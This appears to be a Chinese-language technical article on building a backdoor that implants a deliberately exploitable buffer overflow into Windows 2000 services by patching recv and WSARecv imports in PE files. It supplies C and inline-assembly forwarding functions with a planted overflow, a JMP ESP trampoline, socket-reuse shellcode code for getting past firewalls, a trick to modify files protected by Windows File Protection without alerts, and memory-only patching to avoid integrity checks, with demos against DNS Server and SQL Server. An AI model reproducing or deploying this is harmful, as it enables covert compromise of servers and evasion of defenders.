溢出代码通过RETADDR掌握到主动的时候,但由于SHELLCODE在的内存堆栈是动态分配的,是无法准确获得其地址的,那么需要借重于JMP ESP这
样的语句来实现跳转,有些应用可能有这样的语句,有些应用可能又没有这样的语句,而且地址不会是一样的,随不同系统和操作系统的版本
也都会变化,因此需要提供一个可固定的JMP ESP代码的地址给溢出SHELLCODE,来实现通用化。
? 溢出覆盖后对变量的引用访问违例
溢出以后,由于溢出的BUF到RETADDR之间很可能还存在其他的变量,在溢出的RETADDR返回以前,代码还在应用程序的上小文中执行,这些代码
很可能会引用这些变量,而这些变量很可能已经被我们的覆盖代码已经修改,从而导致访问违例,导致程序终止或被记录或进行异常处理代码
而无法执行我们的溢出代码并且暴露我们的行踪。
? 溢出覆盖后执行代码对溢出区的修改
溢出以后,由于溢出的BUF到RETADDR之间很可能还存在其他的变量,在溢出的RETADDR返回以前,代码还在应用程序的上小文中执行,这些代码
很可能会修改我们已经溢出覆盖的SHELLCODE的内容,这样在溢出以后就无法正确执行我们想要执行的SHELLCODE,一般来说还会引起异常导致
进程的意外终止和记录,暴露我们的行踪。
2. 实现植入通用化溢出漏洞的思路
那么如何有效解决以上问题,实现一个可通用化利用的溢出漏洞呢?我们来展开我们的思考:
a) 思路一:修改扩展堆栈(对于固定EBP/ESP引用有效)
在一个函数 CALL FUN的FUN执行空间下
假设一个应用程序的堆栈空间如下:
ESP----------》变量1到10 占有空间40个字节
可被我们溢出的BUF1占有空间400个字节
其他的变量11到20占有空间40个字节
EBP----------》RETADDR
传入的函数参数1到4 占有空间16
那么在进入FUNC执行的时候,其生成的汇编语句会如下:
PUSH EBP
MOV EBP,ESP (这时候的ESP指向RETADDR的地址)
SUB ESP,480 (480是变量总的占有空间的数)
。。。。。。。 (代码执行区)
ADD ESP,480
PUSH EBP
我们修改如上的汇编代码的语句为:
PUSH EBP
MOV EBP,ESP
SUB ESP,1480
。。。。。。。
ADD ESP,1480
PUSH EBP
对应的堆栈空间是
ESP----------》变量1到10 占有空间40个字节
可被我们溢出的BUF1占有空间400个字节
其他的变量11到20占有空间40个字节
多出的1000个字节的空间
EBP----------》RETADDR
传入的函数参数1到4 占有空间16
如果对参数的引用都是以EBP+XXX,对变量的引用都是以ESP+XXX的方式的话,我们会发现其对应用的影响没有,程序依然可以很好的执行,因
为参数和变量相对ESP,EBP的位置并没有发生变化。但是我们会发现如下几个有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函数的头尾地方出现,不影响程序大小,容易寻找。
2. 如果我们可以根据已知的 XXX的大小和BUF的位置,来自动计算和调整XXX的值,就可以实现溢出点定位的问题,如上面的例子,需要
溢出点定位到1000,我们把SUB ESP,480改成 SUB ESP,1040就可以达到定位点是1000的目的。(多出的40是在BUF上面的变量,这和BUF的位
置有关);
3. 如果增加的空间足够大,我们可以把SHELLCODE放在多出的这个空间里,就能有效的避免SHELLCODE被后续程序执行导致被修改的问题。
4. 如果增加的空间足够大,我们可以把SHELLCODE放在多出的这个空间里,那么对于前面的空间,由于溢出点位置已定,SHELLCODE不存
在被修改,因此可以对于变量10到20尽可能的有效的数据地址,来减少可能的后续代码的执行对其的引用导致的访问违例问题,虽然不能完全
解决,但至少提供了很大的可能性。
这是一个很好的思路,然而现实是残酷的,因为我们发现原先设想的一个前提在不同的编译器选项下是不成立的,既
对变量的引用是ESP+XXX,对传入参数的引用是EBP+XXX,不同的情况生成的汇编代码是复杂的,既有可能对变量和传入参数的引用全部是ESP+
XXX的方式,也有可能对变量和传入参数的引用全部是EBP+-XXX的方式。我们只得利用这个思路继续思考新的解决方法。
b) 思路二:植 入某个特定函数的转发函数
那么新的想法就是,针对可以溢出的函数,给他植入一个转发的函数。也就是说本来在一个过程中有对
recv(sock,buf,xxx,flag)的调用,把他修改成recvadd(sock,buf,xxx,flag),我们附加给应用一个recvadd函数,这个函数只是简单的对
recvadd(sock,buf1,xxx,flag)进行转发而已,但是其分配的内存空间和给定的XXX是不一致的,存在溢出的漏洞,那么对这个转发的recv进行
溢出就可以实现溢出控制了。
3. 植入的通用化通用化溢出漏洞的实现
a) 函数转发过程和优势
过程:
i. 开辟一个新的BUF1,长度固定,这样可提供溢出点固定的溢出
ii. 调用recv(sock,buf1,xxx,flag)进行收包
iii. 将buf1的内容拷贝回BUF,这样就不会影响正常的应用。
优势:
可以一举解决可通用化利用的溢出漏洞的四个问题。
iv. 因为在RECVADD函数中运行,BUF1的分配可以根据指定的溢出点进行分配。并可保证足够的溢出空间,使得SHELLCODE就在BUF1内存放
而不影响EBP后面的变量
v. RECVADD中可以放置JMP ESP的变形代码,解决JMP ESP的定位问题
vi. RECVADD只提供BUF1,接收以后再拷贝回BUF,这样不会涉及到问题3和问题4
vii. 不会影响程序的正常应用,而且附加的函数本身功能比较简单,非常容易实现,代码量非常小,1,2百字节以内,而如W2K的PE文件格
式下节是以0X1000H对齐的,因此有足够的空间加入到PE文件正常的节中而不影响其大小,其他参数的变化。
b) 制造转发函数的通用漏洞
下面就是最初步的一个对RECV进行转发的函数的C代码
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //说明无法通用溢出,因为要不影响正常应用
else
{
num = recv(s,buf1,0x11a9,flags); //扩大到标准指定的溢出点上
if(num>0) //判断是否收到包
{
if(num<=len) //判断是否溢出,没有则拷贝内存
memcpy(buf,buf1,num);
else //提供JMP ESP的地址,这个地址随植入时候自动计算并替换掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}
}
return num;
}
c) 可通用化的利用
i. 检测溢出和溢出返回地址
判断溢出很简单,只需要利用RECV的返回接收字节数字和给定的LEN进行比较就可以,当然也可以利用溢出地址的编码检查是否是自己特定的
溢出。
另外就是扩展了足够的BUF1以后,SHELLCODE完全就可以放在BUF1中而无需覆盖EBP下面的内容了,这样就为有效的线程安全返回提供了条件。
因为一个我们的SHELLCODE完成任务以后,这个溢出线程的处理是非常麻烦的,如果中断掉,对有些应用则会引起异常,如DNS SERVER等就不
会工作,而有些这会中断和记录下来,最理想的方式是保存环境完全又返回到原来应该返回点继续执行。
ii. JMP ESP代码
我们在附加函数的尾部提供一个如下的汇编代码的机器代码:
SUB ESP,XXXX
JMP ESP
(当然为了隐蔽,可以生成其他等效功能的变形代码,如
MOV EAX,ESP,
JMP EAX)
然后在植入的时候自动计算这个附加代码的地址,替换掉RECVADD的程序代码中,在运行检测到溢出的时候,就将这个地址替换到有效的返回
地址上,实现溢出的SHELLCODE的跳转。
iii. 其他需要利用的环境变量的保护
同时考虑到如下因素,因在替代函数中提供对如下变量的保护
? SOCKET,便于SOCKET复用
? RETADDR:便于SHELLCODE完成以后,线程实现安全的返回
? 本函数调用传入的参数大小,以实现SHELLCODE中对ESP/EBP计算安全返回
? 执行前保存函数体外的需要保存的积存器,以实现安全返回
那么下面就是一个考虑了以上情况的对RECV进行转发函数的汇编代码
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH] //检查LEN是否是大于1000H的应用,
cmp eax,1000H //这样的应用我们按1000H做溢出点
jg recv //可能会破坏正常的应用
sub esp,119ch //扩展堆栈到定好的溢出点
mov eax,[esp+11a0h] //保存SC备SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch] //保存返回地址供SHELLCODE执行完
mov [esp+4],eax //以后进行返回
mov dword ptr [esp+8],10h //保存压入参数的占用堆栈的大小
push esi //保护外围积存器
push edi
push ecx
push edx
mov eax, [esp+11Bch]
push eax
mov esi, [esp+11Bch]
push 11A9h //替换成可溢出的值
lea ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call recv //recv转发
test eax, eax
jle loc_2
cmp eax, esi //判断是否接收到包
jle loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec eax
cmp edx,0x90909090 //比较规定的溢出地址值
jne loc_2
mov eax,1010101H //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1: //BUF1的内容拷贝回BUF
mov ecx, eax
mov edi, [esp+11B4h]
mov edx, ecx
lea esi, [esp+1cH]
shr ecx, 2
repe movsd
mov ecx, edx
and ecx, 3
repe movsb
loc_2:
pop edx //弹出保护的外围积存器
pop ecx
pop edi
pop esi
add esp,119ch
retn 10h //如果发生溢出则会到指定的程序点上执行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木马(后门)的在W2K下的实现
我们已经有了一个完备的转发函数来植入通用化的溢出漏洞了,那么如何这个后门和木马如何植入应用呢?下面我们就来考虑这个方面的问题
:
a) 整个植入代码的结构如下
[RECVADD地址] :
存放真正的RECVADD函数的地址,这样替换对方的JMP [RECV]的[RECV]地址值为这个地址值就能达到实际的JMP [RECV]的效果
[RECVADD函数]:真正的执行代码区
[RECV跳转函数]:保存真正的RECV的跳转地址JMP [RECV]和CALL [RECV]的地址,使得程序可以转发真正的调用
[JMP ESP代码]:存放溢出执行时的JMP ESP执行代码
b) PE文件节点分析和代码的附加
? 分析节接点空间是否有足够的位置放置植入的代码
? 在导入代码节和执行代码节的头部里找到对应的需要替换的函数(此例为RECV函数的地址)
1. 通过GetProcAddress获取recv的地址,在进程空间的导入代码节里查找对应地址的导入地址
? 在代码区内找到jmp [recv]或call [recv]的地址,记录下来
? 停止服务,以写打开文件
? 替换jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代码
c) 附加代码的自动计算和替换
涉及到自动计算的地方有如下几处
RECVADD函数本身的位置
RECV函数的真正位置的计算和替换
JMP ESP代码的位置计算和替换
d) 调用函数分析和导入表的替换
存在两种调用形式,程序需要分别分析和处理
i. JMP [FUN]的替换
进程在调用FUN的时候,是CALL [FUN],[FUN]为JMP [FUN]的地址,这里面的 [FUN]中才为真正的FUN的导入表中的对应函数的地址
这个只需要替换JMP [FUN]就可以达到对应用的所有调用进行替换的目的
ii. CALL [FUN]的替换
进程在调用FUN的时候,是CALL [FUN],[FUN]为FUN的导入表中的对应函数的地址
这个需要替换所有的CALL [FUN]才能达到对应用的所有调用进行替换的目的
三:通用的远程溢出的SHELLCODE
1. 函数定位处理
先通过对内存的搜索获得GetProcAddress的地址,来加载需要使用的API。这个都是属于通用的技巧了。
2. 通用的SOCKET复用
这里讨论的SOCKET复用是在W2K环境下的,针对阻塞式SOCKET情况下的。
a) SOCKET复用的意义
i. 服务器端无需开端口,饶过端口检查
ii. 使用服务本身的端口进行通讯,被动直接使用客户端的SOCKET,可以有效的饶过防火墙
b) 基本思路
i. 获得有效的SOCKET描述符
可以通过SOCKET从某个值递增,然后通过getpeername判断是否是一个SOCKET和对应是否是自己的IP地址的SOCKET
ii. 判断关联的SOCKET描述符的进程
在获得SOCKET描述符存在的问题是,由于溢出是在代码执行返回时才掌握控制权,这个时候很可能SOCKET已被正常的关闭掉了。所以可能需要
我们连2个上去,一个发出溢出包,一个处于对方RECV停等的状态,如果第一个SOCKET已经关闭的话,可以判断第二个来进行复用处理,这就
需要SHELLCODE做如下的判断:
1. 有可能第一个也没被关闭,那么需要有效判断出第二个来,只要通过检查线程的ID是否和当前的匹配就可以
2. 使用第二个SOCKET以前,需要先悬挂起这个SOCKET处理的线程,否则无法正常使用SOCKET
在阻塞式情况下,RECV的代码会停留在NtWaitForSingleObject的代码上,那么我们通过判断线程环境上下文的EIP地址就基本可以获得大致的
对应的线程,但是也有可能有其他的线程处于同一位置,那么我们可以搜索有效的线程的堆栈空间是否存在对应的SOCKET描述符就可以基本确
定了。
下面就是基本实现的C代码:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4) //SOCKET描述符从0X50开始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//对应IP
{
//发送字节看是否是已经关闭的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常处理了
}
//不是的则恢复线程的执行和循环
c) 但是以上对线程的判断方法只对阻塞式的SOCKET有效,对于非阻塞式的SOCKET却无法判断,但对于函数替换这种方式植入的溢出来说
,非常幸运的是:可以确保这个SOCKET在溢出控制的时候肯定不会被关闭,因此我们完全可以只通用SOCKET的getpeername函数尝试就可以判
断这个SOCKET描述符了,当然我的例子代码采用了由植入程序保存这个环境变量的方法来复用这个SOCKET
3. 对环境变量的正常引用
其实我们把三个保存的环境变量都放在溢出的BUF1之前的,相对于跳转执行的SUB ESP,XXX,JMP ESP后,这个地址是不固定的,可能随着被
溢出函数在返回之前的RETN XXX的XXX而变化,因此要用一个固定的ESP+XXX来引用这几个保存的环境变量,需要我们更该对应的SUB ESP,XXX
,JMP ESP的XXX大小,幸运的是,对于每个固定的替换API这个是固定的,因此我们完全可以针对每一个替换的函数写固定的XXX在内,因为对
不同的替换函数其替换函数的内容也会变化。
我们的溢出植入只对函数调用级别的通用,也就是说无论应用A和B运行在不同的版本的系统上,只要调用了对应的函数C,则对A和B的C函数的
溢出植入都是通用的。
4. 线程完毕后的处理思考
a) 删除或终止线程
这样虽然简单,但是容易引起异常和记录。
b) 保存线程环境返回原调用点
那么需要保存和计算如下的内容:
保存溢出SHELLCODE执行前的积存器内容
保存需要返回的地址值
计算恢复后的ESP/EBP,好放入对应的地址值。
最大的考虑则是:在恢复积存器后,还需要使用积存器读取返回地址值并放入返回前的ESP和读取函数在溢出前提供的函数参数大小使得计算正
常的ESP,因此对于积存器的保护需要一点技巧。
c) 线程安全返回的代码
sub esp,0x13fc //先开辟一个空间,保护几个特殊的积存器
push ebp
push ecx //因为要二次用到,所以在此处保存eax.ecx
push eax
sub esp,xxx //这儿开辟的堆栈空间才是真正的SHELLCODE使用的变量存放的空间
push ebx 保存其他的积存器
push ecx
push edx
push esi
push edi
。。。。。。。。。。。。。。。。SHELLCODE功能代码
执行完毕以后实现县城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //杀掉打开的CMD进程
_asm{
mov eax,k //K是溢出函数传入的参数长度
mov ebx,retaddr //返回地址
mov ecx,28FCH //ESP回复到开辟的地方
add ecx,eax //考虑溢出函数传入的参数长度的ESP地址
sub ecx,4 //回到应该放置RET的ESP处
mov [esp+ecx],ebx //存放真正的返回地址
pop edi //恢复通用的积存器
pop esi
pop edx
pop ecx
pop ebx
pop edi
pop esi
pop ebx
add esp,4e4h //ESP减少SHELLCODE使用的堆栈空间
mov [esp+23F8H],eax //写入K的值,在恢复积存器以后就可以无需再使用其他积存器来使用了
pop ebp //弹出几个保护的特殊积存器
pop eax
pop ecx
add esp,23ECH //到存放K的堆栈上,这样就可以用[ESP]来引用这个值而无需使用其他积存器,导致已恢复的积
存器又被破坏掉
add esp,[esp] //利用[ESP]引用K实现ESP+K,来计算真正的ESP值
sub esp,4 //提前4字节,也就是RETADDR的地方。利用RET进行返回
ret
}
5. 演示远程SCOKET复用SHELLCODE溢出TEST服务
四:阐发
1. 饶过WIN2K的系统文件完整性保护机制(SFP)
我们的后门和木马主要的目标是修改运行具备特权的服务和系统文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP机制来保护系统文件
的完整性。那么只有能有效的修改我们需要植入的受系统保护的文件,我们才能达到目的。
网上有很多删除和更新受保护文件的方法,但是基本思路是同步删除掉备份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的对应文件,但是这样会导致系统跳出一个无法正常恢复受保护文件的警告框出来,这样就会暴露我们的行踪。
其实修改受SFP保护的文件又不引起这个警告框的方法非常简单,就是:同时独占打开这两个备份的文件,然后再修改受系统保护的文件,修改
完毕之后,过一段时候再关闭独占打开这两个备份的文件,这样文件就可以被正常修改而已不会引发任何的提示。
当然,还有很多其他的方法来达到这个目的,如修改对应文件的校验标志等,不过这种方法是最简单和有效的。
a) 演示删除和更改WIN2K的受保护的系统文件的方法
2. 通用化测试
以上就是一个基本溢出植入型木马实现的原形,那么我们最后用实际的测试来验证一下我们的这个原型是否通用和达到我们预期的目的。我们
来做2个实际应用和服务的植入溢出的实验和通用这个通用化溢出实现我们的远程控制。
a) 演示DNS SERVER植入recv转发的远程溢出漏洞和控制
制约条件:
使用和植入溢出TEST服务一样的SHELLCODE和客户端
使用和植入溢出TEST服务一样的木马执行程序和RECV的转发函数
唯一不同是给定的木马执行程序的参数(主要指明需要植入溢出的程序等信息)
1. 演示植入前发送过大包失败
2. 演示植入后,程序在发送包已经到达我们的转发程序
3. 演示不影响正常的应用
4. 演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用
b) WSARecv函数的转发的溢出实现和演示
那么对于RECV转发溢出大家很熟悉了,但这是否限制了我们的应用呢?因为多数的应用是用WSARECV函数来实现的,其实我们先就有一个结论
是:
我们的溢出植入只对函数调用级别的通用,也就是说无论应用A和B运行在不同的版本的系统上,只要调用了对应的函数C,则对A和B的C函数的
溢出植入都是通用的。针对不同的函数,只要这个函数形如FUN(BUF,LEN),LEN是指定BUF长度的函数,其实都可以被植入溢出漏洞的。
那么我们就来实现一下对WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替换函数
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv //判断是否允许在空间范围内溢出
sub esp,119ch //扩展堆栈
mov eax,[esp+11a0h] //保护环境变量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push ebx //保护积存器
push esi
push edi
mov ebx, [esp+11B0h] //保留WSABUF中长度和地址的参数
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea edi, [esp+18H] //保存WSABUF的BUF到BUF1中后内容,避免被溢出覆盖后不能恢复
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr ecx, 2
repe movsd
mov ecx, eax
and ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H //扩大 WSABUF长度使得其能被溢出
mov eax, [esp+11c4h]
push eax
mov eax, [esp+11C4h]
push eax
mov eax, [esp+11C4h]
push eax
mov eax, [esp+11C4h]
push eax
mov eax, [esp+11C4h]
push eax
push ebx
mov eax, [esp+11C4h]
push eax
call WSARecv //转发到WSARECV
push ecx //保存WSARECV返回的有意义的三个积存器
push eax
push edx
mov edx,[esi+1190H] //获得WSABUF的BUF,如果溢出这写入的返回地址值
mov ecx,[esp+11b4h] //获得如果溢出,则需要恢复回去的内容
mov [esi+1190H],ecx //恢复到BUF中
mov ecx,[esp+1ch] //读取保留的返回地址
mov [esp+11b4h],ecx //恢复到ESP对应的返回地址上,避免被溢出覆盖,因先保存WSABUF的时候这个地址已
经被覆盖了
mov [ebx],edi //写入WSABUF正常的LEN值
test eax, eax //检查是否接收到包
jne loc_4
mov ebx,[esp+11C4H] //获得收到包的大小
mov ecx,[ebx]
cmp ecx, edi //检查是否溢出
jle loc_4
cmp edx,0x90909090 //检查溢出传来的返回地址是否和我们规定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea edi, [esp+24H] //拷贝SHELLCODE到我们的BUF1,同时恢复WSABUF中其他变量被覆盖的值,避免以后SHELLCODE
返回后导致异常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H //写入JMP ESP的地址,1010101H会在植入时候通过计算进行正确的替换
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop edi
pop esi
pop ebx
add esp,119cH
retn 1ch
}
}
ii. 重载异步IO的SOCKET的内存置换的问题
这个替代函数比RECV函数要复杂一些,因为这个SOCKET是一个重载异步IO的SOCKET的,在RECV的时候,其内存是不允许置换的,否则这个重载
异步IO的SOCKET就会成为一个非重载异步IO的SOCKET,这样就会影响正常的应用。同时对执行WSARECV后被修改的积存器的保护也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但扩大LEN导致溢出的方法,为了正常返回,则将其可能被溢出覆盖的内容
复制到BUF1上,如果真的发生溢出以后,再将溢出内容拷贝到BUF1,把BUF1的保存内存拷贝到被溢出的BUF上,保证程序的正常运行。
iii. 演示SQL SERVER植入WSARecv转发的远程溢出漏洞和控制
制约条件:
使用和植入溢出TEST服务一样的SHELLCODE和客户端
使用和植入溢出TEST服务一样的木马执行程序,只修改WSARECV的转发函数体
给定的木马执行程序的参数(主要指明需要植入溢出的程序等信息)
1. 演示植入前发送过大包失败
2. 演示植入后,程序在发送包已经到达我们的转发程序
3. 演示不影响正常的应用
5. 演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用
c) 只修改内存影象避免文件完整性检查
最后的讨论是,同样,这样的原理可以只利用到对只修改内存影象来到达溢出植入的目的,这样就可以避免文件完整性检查,不过当服务重启
以后这个后门和木马则不可利用了。